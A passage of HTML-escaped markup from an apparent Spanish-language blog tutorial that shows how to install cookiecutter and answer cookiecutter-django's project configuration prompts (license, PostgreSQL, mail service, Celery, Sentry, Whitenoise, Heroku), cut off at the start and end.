style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install cookiecutter&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;O también se puede instalar usando pip&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install cookiecutter&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Una vez que lo tengamos disponible le pasaremos como único argumento la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/pydanny/cookiecutter-django&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;dirección del repositorio de github oficial de cookiecutter-django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cookiecutter https://github.com/pydanny/cookiecutter-django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;configuracion-del-proyecto&#34;&gt;Configuración del proyecto&lt;/h3&gt;&#xA;&lt;p&gt;A continuación, un script nos hará una serie de preguntas para configurar el proyecto de manera casi automática. Cada pregunta tiene un valor por defecto que se encuentra dentro de corchetes, si no especificamos ninguno usará ese valor.&lt;/p&gt;&#xA;&lt;p&gt;En los fragmentos de código coloco las respuestas que elegí para este ejemplo o un espacio vacío para el valor por defecto.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;datos-del-proyecto&#34;&gt;Datos del proyecto&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;project_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;My Awesome Project&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: proyecto de django        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;project_slug &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;proyecto_de_django&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;description &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;Behold My Awesome Project!&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: Este es un proyecto de prueba usando Django y Docker&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;author_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;Daniel Roy Greenfeld&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: Eduardo Zepeda&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;domain_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;example.com&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: midominio.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;email &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;eduardo-zepeda@example.com&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;0.1.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esta primera serie de preguntas son bastante explicativas por si mismas. El nombre de nuestro proyecto, su slug, su descripción, el nombre del autor, el dominio que redirigirá a nuestro proyecto, nuestro email y la versión de nuestro código.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Es necesario tener un nombre de dominio para que el proyecto funcione correctamente&lt;/strong&gt;. En caso de que no tengas un dominio aún así puedes correr el script, pero habrá problemas a la hora de usarlo en producción.&lt;/p&gt;&#xA;&lt;h3 id=&#34;licencia-del-proyecto&#34;&gt;Licencia del proyecto&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Select open_source_license:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; - MIT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; - BSD&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; - GPLv3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; - Apache Software License 2.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; - Not open &lt;span style=&#34;color:#ff5c57&#34;&gt;source&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Choose from 1, 2, 3, 4, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La licencia de tu proyecto. El mundo de las licencias ya es un tema por si mismo. Si no sabes absolutamente nada de licencias &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tldrlegal.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;usa TLDRlegal&lt;/a&gt;&#xA; para orientarte.&lt;/p&gt;&#xA;&lt;h3 id=&#34;timezone-windows-y-pycharm&#34;&gt;Timezone, Windows y Pycharm&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;timezone &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;UTC&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;windows &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_pycharm &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Timezone para nuestro proyecto, es el valor que tomará la variable TIMEZONE en nuestro archivo de configuración de Django. Nos pregunta además si el proyecto debe configurarse para usarse con windows y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.jetbrains.com/es-es/pycharm/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Pycharm&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;base-de-datos&#34;&gt;Base de datos&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Select postgresql_version:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; - 12.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; - 11.8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; - 10.8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; - 9.6&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; - 9.5&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Choose from 1, 2, 3, 4, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Posteriormente el instalador nos pregunta la versión de Postgresql que queremos usar. Postgresql es un motor de base de datos open source, &lt;strong&gt;yo te recomiendo que elijas la versión más nueva&lt;/strong&gt;, a menos claro que tengas una razón específica para elegir una versión antigua.&lt;/p&gt;&#xA;&lt;p&gt;Por el momento cookiecutter-django no ofrece otra versión de base de datos, aunque debería ser bastante sencillo cambiarla en la configuración de django y adaptando los archivos de Docker.&lt;/p&gt;&#xA;&lt;h3 id=&#34;gulp&#34;&gt;Gulp&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Select js_task_runner:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; - None&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; - Gulp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Choose from 1, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora nos pregunta si queremos usar Gulp o nada como nuestro preprocesador de tareas. Si no sabes que es Gulp, Gulp nos permite automatizar tareas como minimizar código, detectar errores, optimizar imágenes en el código frontend, es algo bastante parecido a webpack pero que la gente ha ido dejando atrás en favor de este último.&lt;/p&gt;&#xA;&lt;h3 id=&#34;almacenamiento-en-la-nube&#34;&gt;Almacenamiento en la nube&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Select cloud_provider:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; - AWS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; - GCP&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; - None&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Choose from 1, 2, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Donde queremos alojar nuestros archivos estáticos y de media? Las opciones corresponden a Amazon Web Services, Google Cloud Platform o ninguno.&lt;/p&gt;&#xA;&lt;h3 id=&#34;servidor-de-correo&#34;&gt;Servidor de correo&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Select mail_service:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; - Mailgun&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; - Amazon SES&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; - Mailjet&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; - Mandrill&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; - Postmark&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; - Sendgrid&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt; - SendinBlue&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt; - SparkPost&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt; - Other SMTP&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Choose from 1, 2, 3, 4, 5, 6, 7, 8, &lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aún falta nuestra configuración de correo electrónico y de eso se encarga esta pregunta, nos muestra las opciones disponibles para &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/anymail/django-anymail&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Django-Anymail.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;asincronismo&#34;&gt;Asincronismo&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_async &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si el proyecto usará websockets con Uvicorn + Gunicorn&lt;/p&gt;&#xA;&lt;h3 id=&#34;django-rest-framework&#34;&gt;Django Rest Framework&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_drf &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: y&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Configura nuestro proyecto para usar Django Rest Framework&lt;/p&gt;&#xA;&lt;h3 id=&#34;django-compressor&#34;&gt;Django compressor&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_compressor &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Django compresor es una herramienta que se encarga de tomar los archivos de javascript y css de nuestros archivos HTML y los minifica y concatena, con opción de colocar su contenido inline; directamente como parte del archivo HTML&lt;/p&gt;&#xA;&lt;h3 id=&#34;compilacion-de-boostrap&#34;&gt;Compilación de boostrap&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;custom_bootstrap_compilation &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Una opción para permitir la recompilación de bootstrap usando el preprocesador de tareas que especificamos más arriba.&lt;/p&gt;&#xA;&lt;h3 id=&#34;celery&#34;&gt;Celery&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Celery es un gestor de colas de tareas, es &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/como-usar-django-framework-de-manera-asincrona-usando-celery/&#34;&gt;ideal para procesos asíncronos como tareas muy costosas en tiempo&lt;/a&gt;&#xA;; envíos de correos electrónicos, consultas en base de datos, cálculos matemáticos muy tardados, etc.&lt;/p&gt;&#xA;&lt;h3 id=&#34;servidor-de-correo-de-pruebas&#34;&gt;Servidor de correo de pruebas&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_mailhog &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mailhog es una herramienta que intercepta la salida de correo electrónico por parte de nuestra aplicación, por lo que nos permite hacer pruebas con el envío de correos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;monitoreo-de-errores&#34;&gt;Monitoreo de errores&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_sentry &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sentry es una herramienta de monitoreo de errores y cuellos de botella en tiempo real.&lt;/p&gt;&#xA;&lt;h3 id=&#34;whitenoise&#34;&gt;Whitenoise&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_whitenoise &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: y&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Whitenoise nos permite servir archivos estáticos directo desde Django. Como ya sabrás, no es la opción más adecuada pero esta aplicación &lt;strong&gt;ofrece una solución para aquellos casos donde es imposible modificar la configuración de un servidor web&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;En la configuración del proyecto es necesario elegir whitenoise o alguna de las opciones para alojamiento de archivos (AWS o GCP). Si no elegimos ninguno cookiecutter nos dará un error.&lt;/p&gt;&#xA;&lt;h3 id=&#34;heroku&#34;&gt;Heroku&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_heroku &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ya a estas alturas debes conocer la &lt;strong&gt;PaaS&lt;/strong&gt; Heroku, son herramientas que facilitan el deploy de una aplicación. Si elegimos la opción &amp;ldquo;y&amp;rdquo; cookiecutter configurará el proyecto para que lo llevemos a Heroku.&lt;/p&gt;&#xA;&lt;h3 id=&#34;integracion-continua&#34;&gt;Integración continua&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Select 